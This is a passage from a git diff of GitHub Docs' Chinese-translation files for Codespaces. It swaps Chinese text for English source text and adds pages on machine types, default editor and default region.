错误](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %} +- "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes > 3.2 %} +- "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)"{% endif %} +- "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" +- "[Troubleshooting the detection of vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes > 3.2 %} +- "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %} diff --git a/translations/zh-CN/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md b/translations/zh-CN/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md index d854adb7bd..71bac5b61d 100644 --- a/translations/zh-CN/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md +++ b/translations/zh-CN/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md @@ -1,6 +1,6 @@ --- -title: Codespaces 的灾难恢复 -intro: 本文描述了当整个地区因重大自然灾害或大范围服务中断而中断时，灾难恢复情景的指导。 +title: Disaster recovery for Codespaces +intro: 'This article describes guidance for a disaster recovery scenario, when a whole region experiences an outage due to major natural disaster or widespread service interruption.' versions: fpt: '*' ghec: '*' @@ -10,42 +10,42 @@ topics: shortTitle: Disaster recovery --- -我们努力确保您始终能够使用 {% data variables.product.prodname_codespaces %}。 但是，超出我们控制范围的力量有时会以导致计划外服务中断的方式影响服务。 +We work hard to make sure that {% data variables.product.prodname_codespaces %} is always available to you. However, forces beyond our control sometimes impact the service in ways that can cause unplanned service disruptions. -虽然灾难恢复情况很少发生，但我们建议您为整个区域出现中断的可能性做好准备。 如果整个区域遇到服务中断，则数据的本地冗余副本将暂时不可用。 +Although disaster recovery scenarios are rare occurrences, we recommend that you prepare for the possibility that there is an outage of an entire region. If an entire region experiences a service disruption, the locally redundant copies of your data would be temporarily unavailable. -以下指南提供了如何处理部署代码空间的整个区域的服务中断的选项。 +The following guidance provides options on how to handle service disruption to the entire region where your codespace is deployed. {% note %} -**注意：** 您可以通过频繁推送到远程仓库来减少服务中断的潜在影响。 +**Note:** You can reduce the potential impact of service-wide outages by pushing to remote repositories frequently. {% endnote %} ## Option 1: Create a new codespace in another region -In the case of a regional outage, we suggest you recreate your codespace in an unaffected region to continue working. 此新代码将包含您上次推送到 {% data variables.product.prodname_dotcom %} 后的所有更改。 For information on manually setting another region, see "[Setting your default region for Codespaces](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces)." +In the case of a regional outage, we suggest you recreate your codespace in an unaffected region to continue working. This new codespace will have all of the changes as of your last push to {% data variables.product.prodname_dotcom %}. For information on manually setting another region, see "[Setting your default region for Codespaces](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces)." -You can optimize recovery time by configuring a `devcontainer.json` in the project's repository, which allows you to define the tools, runtimes, frameworks, editor settings, extensions, and other configuration necessary to restore the development environment automatically. 更多信息请参阅“[为项目配置代码空间](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)”。 +You can optimize recovery time by configuring a `devcontainer.json` in the project's repository, which allows you to define the tools, runtimes, frameworks, editor settings, extensions, and other configuration necessary to restore the development environment automatically. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)." -## 选项 2：等待恢复 +## Option 2: Wait for recovery -在这种情况下，不需要您采取任何行动。 要知道，我们正在努力恢复服务可用性。 +In this case, no action on your part is required. Know that we are working diligently to restore service availability. You can check the current service status on the [Status Dashboard](https://www.githubstatus.com/). -## 选项 3：本地克隆仓库或在浏览器中编辑 +## Option 3: Clone the repository locally or edit in the browser -虽然 {% data variables.product.prodname_codespaces %} 具有预配置的开发者环境的优点，但您的源代码应该始终可以通过 {% data variables.product.prodname_dotcom_the_website %} 托管的仓库访问。 如果发生 {% data variables.product.prodname_codespaces %} 中断，您仍然可以本地克隆存储库或在 {% data variables.product.company_short %} 浏览器编辑器中编辑文件。 For more information, see "[Editing files](/repositories/working-with-files/managing-files/editing-files)." +While {% data variables.product.prodname_codespaces %} provides the benefit of a pre-configured developer environmnent, your source code should always be accessible through the repository hosted on {% data variables.product.prodname_dotcom_the_website %}. In the event of a {% data variables.product.prodname_codespaces %} outage, you can still clone the repository locally or edit files in the {% data variables.product.company_short %} browser editor. For more information, see "[Editing files](/repositories/working-with-files/managing-files/editing-files)." -虽然此选项没有为您配置开发环境， 但它允许您在等待服务中断解决时根据需要更改源代码。 +While this option does not configure a development environment for you, it will allow you to make changes to your source code as needed while you wait for the service disruption to resolve. -## 选项 4：对本地容器化环境使用远程容器和 Docker +## Option 4: Use Remote-Containers and Docker for a local containerized environment -如果您的存储库具有 `devconconer.json`，请考虑在 Visual Studio Code 中使用[远程容器扩展](https://code.visualstudio.com/docs/remote/containers#_quick-start-open-a-git-repository-or-github-pr-in-an-isolated-container-volume)构建并连接到仓库的本地开发容器。 此选项的设置时间将因您本地规格和开发容器设置的复杂性而异。 +If your repository has a `devcontainer.json`, consider using the [Remote-Containers extension](https://code.visualstudio.com/docs/remote/containers#_quick-start-open-a-git-repository-or-github-pr-in-an-isolated-container-volume) in Visual Studio Code to build and attach to a local development container for your repository. The setup time for this option will vary depending on your local specifications and the complexity of your dev container setup. {% note %} -**注意：** 在尝试此选项之前，请确保您的本地设置符合[最低要求](https://code.visualstudio.com/docs/remote/containers#_system-requirements)。 +**Note:** Be sure your local setup meets the [minimum requirements](https://code.visualstudio.com/docs/remote/containers#_system-requirements) before attempting this option. {% endnote %} diff --git a/translations/zh-CN/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md b/translations/zh-CN/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md new file mode 100644 index 0000000000..34ad12301c --- /dev/null +++ b/translations/zh-CN/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md @@ -0,0 +1,63 @@ +--- +title: Changing the machine type for your codespace +shortTitle: Change the machine type +intro: 'You can change the type of machine that''s running your codespace, so that you''re using resources appropriate for work you''re doing.' +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /codespaces/developing-in-codespaces/changing-the-machine-type-for-your-codespace +topics: + - Codespaces +--- + +## About machine types + +{% note %} + +**Note:** You can only select or change the machine type if you are a member of an organization using {% data variables.product.prodname_codespaces %} and are creating a codespace on a repository owned by that organization. + +{% endnote %} + +{% data reusables.codespaces.codespaces-machine-types %} + +You can choose a machine type either when you create a codespace or you can change the machine type at any time after you've created a codespace. + +For information on choosing a machine type when you create a codespace, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)." +For information on changing the machine type within {% data variables.product.prodname_vscode %}, see "[Using {% data variables.product.prodname_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code#changing-the-machine-type-in-visual-studio-code)." + +## Changing the machine type in {% data variables.product.prodname_dotcom %} + +{% data reusables.codespaces.your-codespaces-procedure-step %} + + The current machine type for each of your codespaces is displayed. + + !['Your codespaces' list](/assets/images/help/codespaces/your-codespaces-list.png) + +1. Click the ellipsis (**...**) to the right of the codespace you want to modify. +1. Click **Change machine type**. + + !['Change machine type' menu option](/assets/images/help/codespaces/change-machine-type-menu-option.png) + +1. Choose the required machine type. + +2. Click **Update codespace**. + + The change will take effect the next time your codespace restarts. + +## Force an immediate update of a currently running codespace + +If you change the machine type of a codespace you are currently using, and you want to apply the changes immediately, you can force the codespace to restart. + +1. At the bottom left of your codespace window, click **{% data variables.product.prodname_codespaces %}**. + + ![Click '{% data variables.product.prodname_codespaces %}'](/assets/images/help/codespaces/codespaces-button.png) + +1. From the options that are displayed at the top of the page select **Codespaces: Stop Current Codespace**. + + !['Suspend Current Codespace' option](/assets/images/help/codespaces/suspend-current-codespace.png) + +1. After the codespace is stopped, click **Restart codespace**. + + ![Click 'Resume'](/assets/images/help/codespaces/resume-codespace.png) diff --git a/translations/zh-CN/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md b/translations/zh-CN/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md index 13da149324..fb6299d73c 100644 --- a/translations/zh-CN/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md +++ b/translations/zh-CN/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md @@ -1,6 +1,6 @@ --- -title: 个性化您账户的 Codespaces -intro: '您可以通过使用 {% data variables.product.product_name %} 上的 `dotfiles` 仓库或使用设置同步来个性化 {% data variables.product.prodname_codespaces %}。' +title: Personalizing Codespaces for your account +intro: 'You can personalize {% data variables.product.prodname_codespaces %} by using a `dotfiles` repository on {% data variables.product.product_name %} or by using Settings Sync.' redirect_from: - /github/developing-online-with-github-codespaces/personalizing-github-codespaces-for-your-account - /github/developing-online-with-codespaces/personalizing-codespaces-for-your-account @@ -18,39 +18,39 @@ shortTitle: Personalize your codespaces --- -## 关于个性化 {% data variables.product.prodname_codespaces %} +## About personalizing {% data variables.product.prodname_codespaces %} -在使用任何开发环境时，根据您的喜好和工作流程自定义设置和工具是一个重要步骤。 {% data variables.product.prodname_codespaces %} 允许两种主要方法个性化您的代码空间。 +When using any development environment, customizing the settings and tools to your preferences and workflows is an important step. {% data variables.product.prodname_codespaces %} allows for two main ways of personalizing your codespaces. -- [设置同步](#settings-sync) - 您可以在 {% data variables.product.prodname_codespaces %} 与其他 {% data variables.product.prodname_vscode %}实例之间使用和共享 {% data variables.product.prodname_vscode %} 设置。 -- [Dotfiles](#dotfiles) - 您可以使用公共 `dotfiles` 仓库来指定脚本、shell 首选项和其他配置。 +- [Settings Sync](#settings-sync) - You can use and share {% data variables.product.prodname_vscode %} settings between {% data variables.product.prodname_codespaces %} and other instances of {% data variables.product.prodname_vscode %}. +- [Dotfiles](#dotfiles) – You can use a public `dotfiles` repository to specify scripts, shell preferences, and other configurations. -{% data variables.product.prodname_codespaces %} 个性化适用于您创建的任何代码空间。 +{% data variables.product.prodname_codespaces %} personalization applies to any codespace you create. -项目维护员还可以定义默认配置，将应用到任何人创建的仓库的每个代码空间。 更多信息请参阅“[为项目配置 {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project)”。 +Project maintainers can also define a default configuration that applies to every codespace for a repository, created by anyone. For more information, see "[Configuring {% data variables.product.prodname_codespaces %} for your project](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project)." -## 设置同步 +## Settings Sync -设置同步允许您在机器和 {% data variables.product.prodname_vscode %} 实例中共享配置，如设置、键盘快捷方式、片段、扩展和 UI 状态。 +Settings Sync allows you to share configurations such as settings, keyboard shortcuts, snippets, extensions, and UI state across machines and instances of {% data variables.product.prodname_vscode %}. To enable Settings Sync, in the bottom-left corner of the Activity Bar, select {% octicon "gear" aria-label="The gear icon" %} and click **Turn on Settings Sync…**. From the dialog, select which settings you'd like to sync. -![在管理菜单中设置同步选项](/assets/images/help/codespaces/codespaces-manage-settings-sync.png) +![Setting Sync option in manage menu](/assets/images/help/codespaces/codespaces-manage-settings-sync.png) -更多信息请参阅 {% data variables.product.prodname_vscode %} 文档中的[设置同步指南](https://code.visualstudio.com/docs/editor/settings-sync)。 +For more information, see the [Settings Sync guide](https://code.visualstudio.com/docs/editor/settings-sync) in the {% data variables.product.prodname_vscode %} documentation. ## Dotfiles -Dotfiles 是类似 Unix 的系统上以 `.` 开头的文件和文件夹，用于控制系统上应用程序和 shell 的配置。 您可以在 {% data variables.product.prodname_dotcom %} 上的仓库中存储和管理 dotfiles。 有关 `dotfiles` 仓库中所含内容的建议和教程，请参阅 [GitHub 执行 dotfiles](https://dotfiles.github.io/)。 +Dotfiles are files and folders on Unix-like systems starting with `.` that control the configuration of applications and shells on your system. You can store and manage your dotfiles in a repository on {% data variables.product.prodname_dotcom %}. For advice and tutorials about what to include in your `dotfiles` repository, see [GitHub does dotfiles](https://dotfiles.github.io/). -如果您在 {% data variables.product.prodname_dotcom %} 上的用户帐户拥有名为 `dotfiles` 的公共仓库，则在从[个人代码空间设置](https://github.com/settings/codespaces)启用后，{% data variables.product.prodname_dotcom %} 会自动使用这个仓库来个性化设置您的代码空间环境。 私有 `dotfiles` 仓库目前不支持。 +If your user account on {% data variables.product.prodname_dotcom %} owns a public repository named `dotfiles`, {% data variables.product.prodname_dotcom %} can automatically use this repository to personalize your codespace environment, once enabled from your [personal Codespaces settings](https://github.com/settings/codespaces). Private `dotfiles` repositories are not currently supported. -`dotfiles` 仓库可能包括 shell 别名和首选项、您想要安装的任何工具或您想要执行的任何其他代码个性化。 +Your `dotfiles` repository might include your shell aliases and preferences, any tools you want to install, or any other codespace personalization you want to make. -创建新的代码空间时，{% data variables.product.prodname_dotcom %} 会将 `dotfile` 仓库克隆到代码空间环境，并查找以下文件之一来设置环境。 +When you create a new codespace, {% data variables.product.prodname_dotcom %} clones your `dotfiles` repository to the codespace environment, and looks for one of the following files to set up the environment. * _install.sh_ -* _安装_ +* _install_ * _bootstrap.sh_ * _bootstrap_ * _script/bootstrap_ @@ -58,13 +58,13 @@ Dotfiles 是类似 Unix 的系统上以 `.` 开头的文件和文件夹，用于 * _setup_ * _script/setup_ -如果未找到这些文件，则 `dotfiles` 中以 `.` 开头的文件或文件夹通过符号链接到代码空间的 `~` 或 `$HOME` 目录。 +If none of these files are found, then any files or folders in `dotfiles` starting with `.` are symlinked to the codespace's `~` or `$HOME` directory. -对 `dotfile` 仓库所做的任何更改只会应用到每个新的代码空间，而不影响任何现有的代码空间。 +Any changes to your `dotfiles` repository will apply only to each new codespace, and do not affect any existing codespace. {% note %} -**注：**目前，{% data variables.product.prodname_codespaces %} 不支持使用 `dotfiles` 仓库个性化 {% data variables.product.prodname_vscode %} 编辑器的_用户_设置。 您可以为项目仓库中的特定项目设置默认的 _Workspace_ 和 _Remote [Codespaces]_ 设置。 更多信息请参阅“[为项目配置 {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#creating-a-custom-codespace-configuration)”。 +**Note:** Currently, {% data variables.product.prodname_codespaces %} does not support personalizing the _User_ settings for the {% data variables.product.prodname_vscode %} editor with your `dotfiles` repository. You can set default _Workspace_ and _Remote [Codespaces]_ settings for a specific project in the project's repository. For more information, see "[Configuring {% data variables.product.prodname_codespaces %} for your project](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#creating-a-custom-codespace-configuration)." {% endnote %} @@ -74,7 +74,8 @@ You can use your public `dotfiles` repository to personalize your {% data variab {% data reusables.user_settings.access_settings %} {% data reusables.user_settings.codespaces-tab %} -1. Under "Dotfiles", select "Automatically install dotfiles" so that {% data variables.product.prodname_codespaces %} automatically installs your dotfiles into every new codespace you create. ![Installing dotfiles](/assets/images/help/codespaces/install-dotfiles.png) +1. Under "Dotfiles", select "Automatically install dotfiles" so that {% data variables.product.prodname_codespaces %} automatically installs your dotfiles into every new codespace you create. + ![Installing dotfiles](/assets/images/help/codespaces/install-dotfiles.png) {% note %} @@ -94,6 +95,6 @@ You can also personalize {% data variables.product.prodname_codespaces %} using - To enable GPG verification, see "[Managing GPG verification for {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-gpg-verification-for-codespaces)." - To allow your codespaces to access other repositories, see "[Managing access and security for {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces)." -## 延伸阅读 +## Further reading -* "[创建新仓库](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository)" +* "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository)" diff --git a/translations/zh-CN/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md b/translations/zh-CN/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md index 03f5d185c3..0351991d3e 100644 --- a/translations/zh-CN/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md +++ b/translations/zh-CN/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md @@ -10,7 +10,7 @@ topics: - Set up - Fundamentals product: '{% data reusables.gated-features.codespaces %}' -shortTitle: Prebuilding Codespaces +shortTitle: Prebuild Codespaces --- {% note %} diff --git a/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md b/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md new file mode 100644 index 0000000000..9debd30369 --- /dev/null +++ b/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md @@ -0,0 +1,26 @@ +--- +title: Setting your default editor for Codespaces +intro: 'You can set your default editor for {% data variables.product.prodname_codespaces %} in your personal settings page.' +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /codespaces/managing-your-codespaces/setting-your-default-editor-for-codespaces +topics: + - Codespaces +shortTitle: Set the default editor +--- + +On the settings page, you can set your editor preference so that any newly created codespaces are opened automatically in either {% data variables.product.prodname_vscode %} for Web or the {% data variables.product.prodname_vscode %} desktop application. + +If you want to use {% data variables.product.prodname_vscode %} as your default editor for {% data variables.product.prodname_codespaces %}, you need to install {% data variables.product.prodname_vscode %} and the {% data variables.product.prodname_github_codespaces %} extension for {% data variables.product.prodname_vscode %}. For more information, see the [download page for {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/download/) and the [{% data variables.product.prodname_github_codespaces %} extension on the {% data variables.product.prodname_vscode %} marketplace](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces). + +## Setting your default editor + +{% data reusables.user_settings.access_settings %} +{% data reusables.user_settings.codespaces-tab %} +1. Under "Editor preference", select the option you want. + ![Setting your editor](/assets/images/help/codespaces/select-default-editor.png) + If you choose **{% data variables.product.prodname_vscode %}**, {% data variables.product.prodname_codespaces %} will automatically open in the desktop application when you next create a codespace. You may need to allow access to both your browser and {% data variables.product.prodname_vscode %} for it to open successfully. + ![Setting your editor](/assets/images/help/codespaces/launch-default-editor.png) diff --git a/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md b/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md new file mode 100644 index 0000000000..cf9127a3d0 --- /dev/null +++ b/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md @@ -0,0 +1,23 @@ +--- +title: Setting your default region for Codespaces +intro: 'You can set your default region in the {% data variables.product.prodname_github_codespaces %} profile settings page to personalize where your data is held.' +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces +topics: + - Codespaces +shortTitle: Set the default region +--- + +You can manually select the region that your codespaces will be created in, allowing you to meet stringent security and compliance requirements. By default, your region is set automatically, based on your location. + +## Setting your default region + +{% data reusables.user_settings.access_settings %} +{% data reusables.user_settings.codespaces-tab %} +1. Under "Region", select the setting you want. +2. If you chose "Set manually", select your region in the drop-down list. + ![Selecting your region](/assets/images/help/codespaces/select-default-region.png) diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/creating-a-codespace.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/creating-a-codespace.md index 4f0b262347..ec200503de 100644 --- a/translations/zh-CN/content/codespaces/developing-in-codespaces/creating-a-codespace.md +++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/creating-a-codespace.md @@ -1,6 +1,6 @@ --- -title: 创建代码空间 -intro: 您可以为仓库中的分支创建代码空间以便在线开发。 +title: Creating a codespace +intro: You can create a codespace for a branch in a repository to develop online. product: '{% data reusables.gated-features.codespaces %}' permissions: '{% data reusables.codespaces.availability %}' redirect_from: @@ -14,23 +14,24 @@ topics: - Codespaces - Fundamentals - Developer +shortTitle: Create a codespace --- -## 关于代码空间的创建 +## About codespace creation You can create a codespace on {% data variables.product.prodname_dotcom_the_website %}, in {% data variables.product.prodname_vscode %}, or by using {% data variables.product.prodname_cli %}. {% data reusables.codespaces.codespaces-are-personal %} -代码空间与仓库的特定分支相关联，且仓库不能为空。 {% data reusables.codespaces.concurrent-codespace-limit %} 更多信息请参阅“[删除代码空间](/github/developing-online-with-codespaces/deleting-a-codespace)”。 +Codespaces are associated with a specific branch of a repository and the repository cannot be empty. {% data reusables.codespaces.concurrent-codespace-limit %} For more information, see "[Deleting a codespace](/github/developing-online-with-codespaces/deleting-a-codespace)." -创建代码空间时，需要执行一些步骤并将您连接到开发环境。 +When you create a codespace, a number of steps happen to create and connect you to your development environment: -- 第 1 步：虚拟机和存储被分配到您的代码空间。 -- 第 2 步：创建容器并克隆仓库。 -- 第 3 步：您可以连接到代码空间。 -- 第 4 步：代码空间继续创建后设置。 +- Step 1: VM and storage are assigned to your codespace. +- Step 2: Container is created and your repository is cloned. +- Step 3: You can connect to the codespace. +- Step 4: Codespace continues with post-creation setup. -有关创建代码空间时会发生什么的更多信息，请参阅“[深潜](/codespaces/getting-started/deep-dive)”。 +For more information on what happens when you create a codespace, see "[Deep Dive](/codespaces/getting-started/deep-dive)." For more information on the lifecycle of a codespace, see "[Codespaces lifecycle](/codespaces/developing-in-codespaces/codespaces-lifecycle)." @@ -40,60 +41,61 @@ If you want to use Git hooks for your codespace, then you should set up hooks us {% data reusables.codespaces.you-can-see-all-your-codespaces %} -## 访问 {% data variables.product.prodname_codespaces %} +## Access to {% data variables.product.prodname_codespaces %} {% data reusables.codespaces.availability %} -当您访问 {% data variables.product.prodname_codespaces %} 时，在查看仓库时会看到 **{% octicon "code" aria-label="The code icon" %} Code（代码）**下拉菜单中的“Codespaces（代码空间）”选项卡。 +When you have access to {% data variables.product.prodname_codespaces %}, you'll see a "Codespaces" tab within the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu when you view a repository. -在以下条件下，您可以访问代码空间： +You'll have access to codespaces under the following conditions: -* 您是已启用 {% data variables.product.prodname_codespaces %} 并设定支出限额的组织的成员。 -* 组织所有者已授予您访问 {% data variables.product.prodname_codespaces %}。 -* 仓库归启用 {% data variables.product.prodname_codespaces %} 的组织所有。 +* You are a member of an organization that has enabled {% data variables.product.prodname_codespaces %} and set a spending limit. +* An organization owner has granted you access to {% data variables.product.prodname_codespaces %}. +* The repository is owned by the organization that has enabled {% data variables.product.prodname_codespaces %}. {% note %} -**注意：** 已使用个人 {% data variables.product.prodname_dotcom %} 帐户加入测试版的个人不会失去 {% data variables.product.prodname_codespaces %} 访问权限，但个人的 {% data variables.product.prodname_codespaces %} 将继续保留在测试版中。 +**Note:** Individuals who have already joined the beta with their personal {% data variables.product.prodname_dotcom %} account will not lose access to {% data variables.product.prodname_codespaces %}, however {% data variables.product.prodname_codespaces %} for individuals will continue to remain in beta. {% endnote %} -组织所有者可以允许组织的所有成员创建代码空间，将代码空间创建限制为选定的组织成员，或者禁用代码空间的创建。 有关管理对组织内代码空间的访问的更多信息，请参阅“[为组织中的用户启用代码空间](/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization#enable-codespaces-for-users-in-your-organization)”。 +Organization owners can allow all members of the organization to create codespaces, limit codespace creation to selected organization members, or disable codespace creation. For more information about managing access to codespaces within your organization, see "[Enable Codespaces for users in your organization](/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization#enable-codespaces-for-users-in-your-organization)." -在组织中使用 {% data variables.product.prodname_codespaces %} 之前，所有者或帐单管理员必须设定支出限额。 更多信息请参阅“[关于代码空间的支出限额](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces#about-spending-limits-for-codespaces)”。 +Before {% data variables.product.prodname_codespaces %} can be used in an organization, an owner or billing manager must have set a spending limit. For more information, see "[About spending limits for Codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces#about-spending-limits-for-codespaces)." -如果想为您的个人帐户或其他用户拥有的仓库创建代码空间， 并且您有权在已启用 {% data variables.product.prodname_codespaces %} 的组织中创建仓库， 您可以将用户拥有的仓库复刻到该组织，然后为该复刻创建一个代码空间。 +If you would like to create a codespace for a repository owned by your personal account or another user, and you have permission to create repositories in an organization that has enabled {% data variables.product.prodname_codespaces %}, you can fork user-owned repositories to that organization and then create a codespace for the fork. -## 创建代码空间 +## Creating a codespace {% include tool-switcher %} - + {% webui %} {% data reusables.repositories.navigate-to-repo %} -2. 在仓库名称下，使用“Branch（分支）”下拉菜单选择您要为其创建代码的分支。 +2. Under the repository name, use the "Branch" drop-down menu, and select the branch you want to create a codespace for. - ![分支下拉菜单](/assets/images/help/codespaces/branch-drop-down.png) + ![Branch drop-down menu](/assets/images/help/codespaces/branch-drop-down.png) 3. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**. - ![新建代码空间按钮](/assets/images/help/codespaces/new-codespace-button.png) + ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png) - 如果您是组织的成员，并且在该组织拥有的仓库上创建代码空间，您可以选择不同机器类型的选项。 从对话框中选择机器类型，然后点击 **Create codespace（创建代码空间）**。 ![机器类型选择](/assets/images/help/codespaces/choose-custom-machine-type.png) + If you are a member of an organization and are creating a codespace on a repository owned by that organization, you can select the option of a different machine type. From the dialog, choose a machine type and then click **Create codespace**. + ![Machine type choice](/assets/images/help/codespaces/choose-custom-machine-type.png) {% endwebui %} - + {% vscode %} {% data reusables.codespaces.creating-a-codespace-in-vscode %} {% endvscode %} - + {% cli %} {% data reusables.cli.cli-learn-more %} -To create a new codespace, use the `gh codespace create` subcommand. +To create a new codespace, use the `gh codespace create` subcommand. ```shell gh codespace create diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/deleting-a-codespace.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/deleting-a-codespace.md index e121d2b033..1ceef28360 100644 --- a/translations/zh-CN/content/codespaces/developing-in-codespaces/deleting-a-codespace.md +++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/deleting-a-codespace.md @@ -1,6 +1,6 @@ --- -title: 删除代码空间 -intro: 您可以删除不再需要的代码空间。 +title: Deleting a codespace +intro: You can delete a codespace you no longer need. product: '{% data reusables.gated-features.codespaces %}' redirect_from: - /github/developing-online-with-github-codespaces/deleting-a-codespace @@ -13,6 +13,7 @@ topics: - Codespaces - Fundamentals - Developer +shortTitle: Delete a codespace --- @@ -21,28 +22,28 @@ topics: {% note %} -**注意：**只有创建代码空间的人才能将其删除。 目前，组织所有者无法删除其组织内创建的代码空间。 +**Note:** Only the person who created a codespace can delete it. There is currently no way for organization owners to delete codespaces created within their organization. {% endnote %} {% include tool-switcher %} - + {% webui %} -1. 导航到 [github.com/codespaces](https://github.com/codespaces) 上的“您的代码空间”页面。 +1. Navigate to the "Your Codespaces" page at [github.com/codespaces](https://github.com/codespaces). -2. 在要删除的代码空间的右侧，单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}，然后单击 **{% octicon "trash" aria-label="The trash icon" %} Delete（删除）** +2. To the right of the codespace you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **{% octicon "trash" aria-label="The trash icon" %} Delete** - ![删除按钮](/assets/images/help/codespaces/delete-codespace.png) + ![Delete button](/assets/images/help/codespaces/delete-codespace.png) {% endwebui %} - + {% vscode %} {% data reusables.codespaces.deleting-a-codespace-in-vscode %} {% endvscode %} - + {% cli %} @@ -60,5 +61,5 @@ For more information about this command, see [the {% data variables.product.prod {% endcli %} -## 延伸阅读 +## Further reading - [Codespaces lifecycle](/codespaces/developing-in-codespaces/codespaces-lifecycle) diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md index 3e7119e3c7..a985c3a36c 100644 --- a/translations/zh-CN/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md +++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md @@ -1,6 +1,6 @@ --- -title: 在代码空间中开发 -intro: '您可以在 {% data variables.product.product_name %} 上打开代码空间，然后使用 {% data variables.product.prodname_vscode %} 的功能进行开发。' +title: Developing in a codespace +intro: 'You can open a codespace on {% data variables.product.product_name %}, then develop using {% data variables.product.prodname_vscode %}''s features.' product: '{% data reusables.gated-features.codespaces %}' permissions: 'You can develop in codespaces you''ve created for repositories owned by organizations using {% data variables.product.prodname_team %} and {% data variables.product.prodname_ghe_cloud %}.' redirect_from: @@ -14,50 +14,52 @@ topics: - Codespaces - Fundamentals - Developer +shortTitle: Develop in a codespace --- -## 关于 {% data variables.product.prodname_codespaces %} 的开发 +## About development with {% data variables.product.prodname_codespaces %} -{% data variables.product.prodname_codespaces %} 为您提供 {% data variables.product.prodname_vscode %} 的完整开发体验。 {% data reusables.codespaces.use-visual-studio-features %} +{% data variables.product.prodname_codespaces %} provides you with the full development experience of {% data variables.product.prodname_vscode %}. {% data reusables.codespaces.use-visual-studio-features %} {% data reusables.codespaces.links-to-get-started %} -![带注释的代码空间概述](/assets/images/help/codespaces/codespace-overview-annotated.png) +![Codespace overview with annotations](/assets/images/help/codespaces/codespace-overview-annotated.png) -1. 侧栏 - 默认情况下，此区域显示您在资源管理器中的项目文件。 -2. 活动栏 - 显示视图并提供在视图之间切换的方法。 您可以通过拖放来重新排列视图。 